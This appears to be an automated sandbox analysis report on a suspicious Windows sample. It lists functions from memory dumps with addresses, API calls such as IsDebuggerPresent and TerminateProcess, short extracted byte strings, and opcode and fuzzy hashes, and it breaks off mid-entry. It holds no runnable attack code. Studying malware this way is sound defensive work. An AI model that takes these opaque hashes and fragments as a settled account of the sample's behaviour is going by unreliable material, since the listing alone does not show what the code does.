Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (1p$5EV~$FnE$u'd$2l
API String ID: 0-2267264843
Opcode ID: 2eb20a91804a2841eca60997017324b3d746a46f94b86a54774ba6f45b8b77cc
Instruction ID: c192b18bebc16017ac8b23cb1117e9d15909c3bd6d9585fa43aa7015b70348f3
Opcode Fuzzy Hash: 2eb20a91804a2841eca60997017324b3d746a46f94b86a54774ba6f45b8b77cc
Instruction Fuzzy Hash: 3B9153B2508380DBC758CF64C88A41BFBE2FBC9758F104A2DF18596220D7B6D958CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6E904E67, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6E904E73
IsDebuggerPresent.KERNEL32 ref: 6E904F3F
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E904F5F
UnhandledExceptionFilter.KERNEL32(?), ref: 6E904F69

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: d636952dfff46d2fb8deb9cb110c858fc8e998976b6f537ac985eb1804006ff4
Instruction ID: b4875f3731a6a7e9f40dce2061a204bb658158604c83b1b1c4371b20e444dd72
Opcode Fuzzy Hash: d636952dfff46d2fb8deb9cb110c858fc8e998976b6f537ac985eb1804006ff4
Instruction Fuzzy Hash: 263147B5D152189BDF10DFA4DA89BCDBBB8AF18304F1040EAE50CAB240EB759B858F45

Uniqueness

Uniqueness Score: -1.00%

Function 6E90461A, Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,6E90473A,6E92A3EC), ref: 6E90461F
UnhandledExceptionFilter.KERNEL32(6E90473A,?,6E90473A,6E92A3EC), ref: 6E904628
GetCurrentProcess.KERNEL32(C0000409,?,6E90473A,6E92A3EC), ref: 6E904633
TerminateProcess.KERNEL32(00000000,?,6E90473A,6E92A3EC), ref: 6E90463A

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 6dd5da3eece49db04e2ecad237d8ade6e1988f0e1d7a7b36453ad13b8a1c4625
Instruction ID: a0596de962232cd5d1e5be5b05db2afe60c923885a138f72d73077952d6af8f6
Opcode Fuzzy Hash: 6dd5da3eece49db04e2ecad237d8ade6e1988f0e1d7a7b36453ad13b8a1c4625
Instruction Fuzzy Hash: E1D0127305C504EFCF002BE0DB4DA483F29EF06222F004800F309C5042DBB644409B62

Uniqueness

Uniqueness Score: -1.00%

Function 00DA13DB, Relevance: 5.4, Strings: 4, Instructions: 400COMMON

Download Yara Rule

Strings

=t[, xrefs: 00DA14B2
A{, xrefs: 00DA158E
=Lw, xrefs: 00DA1974
g,0, xrefs: 00DA1885

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: =Lw$=t[$A{$g,0
API String ID: 0-3102551745
Opcode ID: 5b83c4390e8fb66a8fb2c7962b7bfa91303db4d1dde4126cdd77c50e76c45461
Instruction ID: f0fa06120146668163d56a82d8a4cc0341ee378d10868865b18076fa59ae4961
Opcode Fuzzy Hash: 5b83c4390e8fb66a8fb2c7962b7bfa91303db4d1dde4126cdd77c50e76c45461
Instruction Fuzzy Hash: A91220715083809FD368CF65C58AA9BFBE2FBC5718F10891DE2DA86260D7B48949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FAF10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

\PerfmonBar\config.xml, xrefs: 6E8FADB9

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: \PerfmonBar\config.xml
API String ID: 0-3729978544
Opcode ID: c5a3e45d6b062fddd5056c4d6ebbe332437d1e88cbbcd1f94c858ad81a158981
Instruction ID: 9f6ee6146264c190dbac6973eb4affab83d27d68904819792ab84d1cfdb85c50
Opcode Fuzzy Hash: c5a3e45d6b062fddd5056c4d6ebbe332437d1e88cbbcd1f94c858ad81a158981
Instruction Fuzzy Hash: 7831AFB1D04648DFDB10CFA4C944B9EBBF4FF08B10F144669E815AB380D735A905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00DAC145, Relevance: 5.2, Strings: 4, Instructions: 222COMMON

Download Yara Rule

Strings

Y\T, xrefs: 00DAC26E
+M, xrefs: 00DAC240
u_T, xrefs: 00DAC355
.*&, xrefs: 00DAC15A

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: +M$.*&$Y\T$u_T
API String ID: 0-2652214267
Opcode ID: 55d42ca8812fa230735b6e734f9b94a54467ea0ec1f4f125f94333a273e06a68
Instruction ID: ee82a699429493a9bed35e41020d8520f1e24104be8e1afb3350f3273f2340d1
Opcode Fuzzy Hash: 55d42ca8812fa230735b6e734f9b94a54467ea0ec1f4f125f94333a273e06a68
Instruction Fuzzy Hash: F8B133B1D10309EBDF54CFE5C98A6DEBBB0FB44314F208149E112BA294D3B45A49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D968AD, Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

(P, xrefs: 00D9693D
Q5, xrefs: 00D96A6B
AZk, xrefs: 00D969F5
C)/, xrefs: 00D96A46

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: AZk$C)/$Q5$(P
API String ID: 0-3568429903
Opcode ID: 4f5247ff58d37919dde0014091b0176d3b6085f5b95e0dacd0acd0109bc31bfc
Instruction ID: cc8bd27dec0d27f5c256b77dc4d711145b9f11ab69ca8605834f5a10fae41e51
Opcode Fuzzy Hash: 4f5247ff58d37919dde0014091b0176d3b6085f5b95e0dacd0acd0109bc31bfc
Instruction Fuzzy Hash: 019100B2508380AFC358CF65C98690BFBF2BBC5718F409A1DF59596260D7BAD905CF06

Uniqueness

Uniqueness Score: -1.00%

Function 00DA7EDD, Relevance: 5.2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

bQ, xrefs: 00DA7FF5
VXe, xrefs: 00DA7F21
Ge&, xrefs: 00DA800A
q;\, xrefs: 00DA809F

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Ge&$VXe$bQ$q;\
API String ID: 0-2640374020
Opcode ID: cc2a5a54575fbf300a3aebb8dccb6ac4b5d29b68b9b0ac915b38ada48fa4d047
Instruction ID: 751bc7a2db5b490a54a59f0528d81f45cb0d71e9db4d62bec377146140f9b5e0
Opcode Fuzzy Hash: cc2a5a54575fbf300a3aebb8dccb6ac4b5d29b68b9b0ac915b38ada48fa4d047
Instruction Fuzzy Hash: 0B616271108301AFC758DF20C88A41FBBE1FBC9748F14491DF996A6260D771CA49CBA7

Uniqueness

Uniqueness Score: -1.00%

Function 00D91DF9, Relevance: 5.1, Strings: 4, Instructions: 146COMMON

Download Yara Rule

Strings

,\H, xrefs: 00D92039
,\H, xrefs: 00D91FAE
af`, xrefs: 00D92056
c2O, xrefs: 00D91F52

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ,\H$,\H$af`$c2O
API String ID: 0-3082886527
Opcode ID: 3bfb5e42cca4a70539c8f4188a6d54e0a7ec739cabc5743c37cdc03544baeb09
Instruction ID: 1ba43b876d4e41b6292ca03e0dfba473b4334fcf0ac245a076bb19895ae66551
Opcode Fuzzy Hash: 3bfb5e42cca4a70539c8f4188a6d54e0a7ec739cabc5743c37cdc03544baeb09
Instruction Fuzzy Hash: 695177716083019BCB58CF29D58941FBBE1FFC8758F244A1EF19AA6260D370CA09CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00DB35E3, Relevance: 5.1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

Strings

!#, xrefs: 00DB369C
g6, xrefs: 00DB3623
%uG, xrefs: 00DB3683
4`g, xrefs: 00DB36FF

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: %uG$4`g$g6$!#
API String ID: 0-3570404244
Opcode ID: 49efdd2581645fbbb63b707176fab2ea5744dfb9c626b487036a607583eb4737
Instruction ID: 672725abc576e3d370802d5520bf49604f284a1bac6cd5d30b675cfca689d332
Opcode Fuzzy Hash: 49efdd2581645fbbb63b707176fab2ea5744dfb9c626b487036a607583eb4737
Instruction Fuzzy Hash: 8F5121B1C0131AEBCF59CFA4D94A8EEFBB0FB44718F208199C521B6250D7B45A49DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DACF2C, Relevance: 5.1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

Strings

zL, xrefs: 00DACF7B
(", xrefs: 00DACF83
9b', xrefs: 00DACF35
q, xrefs: 00DAD02E

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: zL$("$9b'$q
API String ID: 0-871342943
Opcode ID: d58202ca7df7bc05c79e8fbda96cdac0ffd23f09c47f9b8b024468306da2de10
Instruction ID: 27f611e858f7449dd2187400614ebb66595e38ade5c2d7b75fb4747d674d0129
Opcode Fuzzy Hash: d58202ca7df7bc05c79e8fbda96cdac0ffd23f09c47f9b8b024468306da2de10
Instruction Fuzzy Hash: 754146B25093019FC394CF20D58940BBBE1FBD5718F504A1DF48A96624D7B4DA0ACFA7

Uniqueness

Uniqueness Score: -1.00%

Function 6E924A27, Relevance: 4.7, APIs: 3, Instructions: 206COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

Part of subcall function 6E91897C: _free.LIBCMT ref: 6E9189DE
Part of subcall function 6E91897C: _free.LIBCMT ref: 6E918A14

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6E924A7B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6E924AC5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6E924B8B

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 8cb1624147181782cc20b7508f274eea5e9e6927b84a8d0b4fab7dcf9203342f
Instruction ID: dc1cc9176d9afb1c3ca6d9aa7a4a29e4e3132a0045c9633113e192ac174b3d4c
Opcode Fuzzy Hash: 8cb1624147181782cc20b7508f274eea5e9e6927b84a8d0b4fab7dcf9203342f
Instruction Fuzzy Hash: B361BE7152421B9FEF58CFA8CC81BAAB3ACEF44314F0045B9E925C6188E775D996CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E90D436, Relevance: 4.6, APIs: 3, Instructions: 78COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6E90D52E
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6E90D538
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6E90D545

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6c5da19a6ad2d9fd32094c73cded2916c6ec7c8ae6a92a5d6625bc976aa212c4
Instruction ID: 691f48877ff15314f6d9842637a111e65e25b5503d3868f12b907fc82a8d24fb
Opcode Fuzzy Hash: 6c5da19a6ad2d9fd32094c73cded2916c6ec7c8ae6a92a5d6625bc976aa212c4
Instruction Fuzzy Hash: D031057191121C9BCB21DF64D9887CDBBB8FF58714F5045DAE80CA7250E7709B818F45

Uniqueness

Uniqueness Score: -1.00%

Function 6E914F94, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6E914F93,?,00000000,?,?,?,6E91D694), ref: 6E914FB6
TerminateProcess.KERNEL32(00000000,?,6E914F93,?,00000000,?,?,?,6E91D694), ref: 6E914FBD
ExitProcess.KERNEL32 ref: 6E914FCF

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2ccce0ad00cd89f9a7a9b3f62867fff719a5e8168ff5b1e35bf84dae0f8f301d
Instruction ID: 86775ba58de2e65f7541e7e70faf59325a5be261ca1f7e3b9a97d6b9609dfe17
Opcode Fuzzy Hash: 2ccce0ad00cd89f9a7a9b3f62867fff719a5e8168ff5b1e35bf84dae0f8f301d
Instruction Fuzzy Hash: D9E0463206C548AFCF012B94CA58E883B3DEF4A296B010814F8158A221DB79DA82DEA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DAB0BA, Relevance: 4.2, Strings: 3, Instructions: 430COMMON

Download Yara Rule

Strings

)dP, xrefs: 00DAB1D0
, xrefs: 00DAB8D2
"pRk, xrefs: 00DAB62F

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: $"pRk$)dP
API String ID: 0-4184037624
Opcode ID: 6ac0fe42bcd2ce2da81b2a65f90b84b19e729091e40ced8172263e78d30f7bb4
Instruction ID: e27120c6a070a5bd82f75dbfd658a7e25c44e595f185288dd8b5c2c42954d1b4
Opcode Fuzzy Hash: 6ac0fe42bcd2ce2da81b2a65f90b84b19e729091e40ced8172263e78d30f7bb4
Instruction Fuzzy Hash: 2E224F715093808FD368CF25C58AA9BFBE1FBC1708F50891DE6DA86261D7B1894ACF53

Uniqueness

Uniqueness Score: -1.00%

Function 00D92575, Relevance: 4.0, Strings: 3, Instructions: 290COMMON

Download Yara Rule

Strings

~6, xrefs: 00D92869
/ U, xrefs: 00D925BA
+m, xrefs: 00D9290D

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: +m$/ U$~6
API String ID: 0-2643806746
Opcode ID: 30ab48fa4851549347b15c633515abb1eec498ad2f844a479b6d4ee27f016275
Instruction ID: fe10053594f1c3f6f7f79fa36200a840a25a188a3ed24cb2683a423952ada00c
Opcode Fuzzy Hash: 30ab48fa4851549347b15c633515abb1eec498ad2f844a479b6d4ee27f016275
Instruction Fuzzy Hash: E1E10D72408380AFD765CF65C58AA5BFBF1FBC5748F50891DF29A86220C7B28948DF52

Uniqueness

Uniqueness Score: -1.00%

Function 00DAC772, Relevance: 4.0, Strings: 3, Instructions: 241COMMON

Download Yara Rule

Strings

5[], xrefs: 00DACBC0
m, xrefs: 00DACAA1
5-.', xrefs: 00DAC907

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 5-.'$5[]$m
API String ID: 0-734274072
Opcode ID: ff5a226f216d237a64ed2cc926b0825fe6917fec5ef257d5123a7ece8e18a949
Instruction ID: c8f0cb4ed5dbc3b1d340fbd7832a7fcd501dbab844588d2a76ad8eae74c56852
Opcode Fuzzy Hash: ff5a226f216d237a64ed2cc926b0825fe6917fec5ef257d5123a7ece8e18a949
Instruction Fuzzy Hash: 48C120B1518381DFD758CF25C48A95BBBF1FBC5358F204A1DF19A8A260D7B18948CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00DB1C71, Relevance: 4.0, Strings: 3, Instructions: 240COMMON

Download Yara Rule

Strings

\4, xrefs: 00DB1F58
F, xrefs: 00DB1E67
3^", xrefs: 00DB1D4E

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 3^"$F$\4
API String ID: 0-424740036
Opcode ID: 3d09cbc02b4b5f8f4880b304e4ef055a0ef0c141d3cc6fe75b9c7716dfbb568c
Instruction ID: 7fc09f0519d1f3dbb07a09341c2607c58d86316bb60e7e92d1a1bb42b1348566
Opcode Fuzzy Hash: 3d09cbc02b4b5f8f4880b304e4ef055a0ef0c141d3cc6fe75b9c7716dfbb568c
Instruction Fuzzy Hash: 75B141725083809FC354DF69C48A91BFBE1FBC8758F148A1DF59A96260D3B5CA48CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00D97739, Relevance: 3.9, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

<, xrefs: 00D97992
bL0, xrefs: 00D97883
_W, xrefs: 00D97843

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: _W$bL0$<
API String ID: 0-458269699
Opcode ID: 4a44b99beb94c7fb9182986a263aa726065e7772d174d452e49dac74d56dcc6a
Instruction ID: 8000784f3947df66eda4950e289af97025ff7ce77e82589a9cbcbd7dc137d1e7
Opcode Fuzzy Hash: 4a44b99beb94c7fb9182986a263aa726065e7772d174d452e49dac74d56dcc6a
Instruction Fuzzy Hash: D98130B2508380AFC754CF25C88581BBBF2FBC4758F148A1DF69696260D3B6CA498F53

Uniqueness

Uniqueness Score: -1.00%

Function 00D93085, Relevance: 3.9, Strings: 3, Instructions: 177COMMON

Download Yara Rule

Strings

TY#, xrefs: 00D9314C
4?, xrefs: 00D9316D
,9, xrefs: 00D93206

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 4?$TY#$,9
API String ID: 0-2698369630
Opcode ID: c374265c888ef4ea721f1e1f90a6bfd18af9f169c7ef1242d4c59883bfc453aa
Instruction ID: 91a028e8e0d23b1904ec68a40b01a3da0f3ed24f45eb9d0f25662f8cdfb2a2ca
Opcode Fuzzy Hash: c374265c888ef4ea721f1e1f90a6bfd18af9f169c7ef1242d4c59883bfc453aa
Instruction Fuzzy Hash: 267175B1508342DBCB58CF22C98581BBBF1FF95358F100A1DF58696261D772CA09CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00DB3306, Relevance: 3.9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

at, xrefs: 00DB340F
l, xrefs: 00DB34AB
/., xrefs: 00DB3438

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: /.$l$at
API String ID: 0-2847909692
Opcode ID: 31a58317aa8a8e5bc13c553521d14c7f1b809e8220723032f0a27305d0284570
Instruction ID: 36106bf3706cb51fe76a0c96330970d34815d2dea49ef0270d7119a73b33e6cf
Opcode Fuzzy Hash: 31a58317aa8a8e5bc13c553521d14c7f1b809e8220723032f0a27305d0284570
Instruction Fuzzy Hash: FD7120710093409FC7A8CF65C88985BBFE2FBC5758F444A0DF29A96220D3B58A59CF97

Uniqueness

Uniqueness Score: -1.00%

Function 00D9597D, Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

Qm', xrefs: 00D95A97
O*, xrefs: 00D95AAF
!e4, xrefs: 00D95995

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: !e4$O*$Qm'
API String ID: 0-765253384
Opcode ID: 6c18fd2bc8357949007d3394de4fc677b21f9668ad150dc7b1f0acf317e49187
Instruction ID: 7b9b8a440f47a7ff609e01fe612762feddbe496f08b32b523086f10e85584b6d
Opcode Fuzzy Hash: 6c18fd2bc8357949007d3394de4fc677b21f9668ad150dc7b1f0acf317e49187
Instruction Fuzzy Hash: 3E519D71608701DBDB05CF26D94581FBBE2FFC8718F184A2DF586A6260D3B1DA098B93

Uniqueness

Uniqueness Score: -1.00%

Function 00DB1987, Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

Ms*, xrefs: 00DB19C3
7|K, xrefs: 00DB1A43
P-, xrefs: 00DB19E8

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 7|K$Ms*$P-
API String ID: 0-841752872
Opcode ID: de58196b1006e8238266ecdce7a09a07ad66a2267f2095bbec5c699e4c0ee80c
Instruction ID: db907393c5aaed959aa04400e7ada856c2cefab03bd947788ab5a85125587277
Opcode Fuzzy Hash: de58196b1006e8238266ecdce7a09a07ad66a2267f2095bbec5c699e4c0ee80c
Instruction Fuzzy Hash: DA517475508341EFC358CF25C48549BBBE1FBC4368F945A2EF1C6962A1E370CA4A8F96

Uniqueness

Uniqueness Score: -1.00%

Function 00DACC3F, Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

0uk, xrefs: 00DACD70
jN, xrefs: 00DACD15
d1f, xrefs: 00DACCC7

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 0uk$d1f$jN
API String ID: 0-1634662418
Opcode ID: 2ed6974f9bc777f8b13fa5ff8d557c1f9ab6aed86fb500707cdd080a82b76788
Instruction ID: 67ea932e0a4272a4aa64c2f5973b18117974168d4e8c2d44654a74b8ab5782eb
Opcode Fuzzy Hash: 2ed6974f9bc777f8b13fa5ff8d557c1f9ab6aed86fb500707cdd080a82b76788
Instruction Fuzzy Hash: 114100B2C0131AEBCB48CFE5D94A4EEBBB1FB48318F208558D411B6250D7B85B48CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D92B7C, Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

"wLA, xrefs: 00D92B98
\vQ, xrefs: 00D92C5B
*, xrefs: 00D92C31

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "wLA$\vQ$*
API String ID: 0-1256145968
Opcode ID: 66912cd7156906dec38eb27c32f0097cc1ef9d1fa649e36a9d4d23e80e3e7889
Instruction ID: e1cfc807eb17463f4f4cb5715ec8210410609138d153052ca5cadf55314d81e6
Opcode Fuzzy Hash: 66912cd7156906dec38eb27c32f0097cc1ef9d1fa649e36a9d4d23e80e3e7889
Instruction Fuzzy Hash: 503100B1D00319EBCF08CFA5D98A4EEBFB1FB44314F208298D516A6260D3745A45DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E911D50, Relevance: 3.5, APIs: 2, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d753dd2369bff9bcfbbd9128ba845ef9a1227f0505efbf6345abb97388b85d1
Instruction ID: 75f4a6e26a7e59518747b48c39e51467288dd5b2a49ec027e17beb73f3a187a4
Opcode Fuzzy Hash: 4d753dd2369bff9bcfbbd9128ba845ef9a1227f0505efbf6345abb97388b85d1
Instruction Fuzzy Hash: 1C025A71E0421A9FDF14CFA9C8906DEBBB5FF89314F258269D919A7344D731AA41CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F2D10, Relevance: 2.9, Strings: 2, Instructions: 444COMMON

Download Yara Rule

Strings

+, xrefs: 6E8F3156
%, xrefs: 6E8F3166

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: %$+
API String ID: 0-2626897407
Opcode ID: f115259748e3d7794e0685e720871cde4ea5db66a56d1d5aa3e812f1c48e13ad
Instruction ID: 3726c60fe41f2ee7b0f0fa4ad1356d5b1c9394ccb9ad29c6b6a4cbeba8c0cff1
Opcode Fuzzy Hash: f115259748e3d7794e0685e720871cde4ea5db66a56d1d5aa3e812f1c48e13ad
Instruction Fuzzy Hash: BBF1E171D10659EFDB15CFA8CC50ADEBBB9FF89340F144A29F815A7280D734A902CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D9A8E8, Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

RSrG, xrefs: 00D9A950
?h, xrefs: 00D9AA5D

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: RSrG$?h
API String ID: 0-3757341021
Opcode ID: b2322cef8445787a4f844954aa2255ad5b27f8ca0ee112432e6877cadbb92aac
Instruction ID: 3f8991e78915195d93dbba3c8c8826739a6ce205c7eabbe723aefa0e027d6ec2
Opcode Fuzzy Hash: b2322cef8445787a4f844954aa2255ad5b27f8ca0ee112432e6877cadbb92aac
Instruction Fuzzy Hash: FE912D725083819FC759CF65C98A91BFBF2FBD5758F10891DF28586220C3B6CA598B82

Uniqueness

Uniqueness Score: -1.00%

Function 00DB2D4F, Relevance: 2.7, Strings: 2, Instructions: 182COMMON

Download Yara Rule

Strings

wU, xrefs: 00DB2E1B
(u, xrefs: 00DB2EC9

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (u$wU
API String ID: 0-793206181
Opcode ID: 3d473fbeeca70c2c922bf4f36ba125f7f150a044529cf0bb0e5cae47c2ad97dd
Instruction ID: 62b5278a12c72496ba049b349d534182b6205a486eebe98615b1a80fe8431bad
Opcode Fuzzy Hash: 3d473fbeeca70c2c922bf4f36ba125f7f150a044529cf0bb0e5cae47c2ad97dd
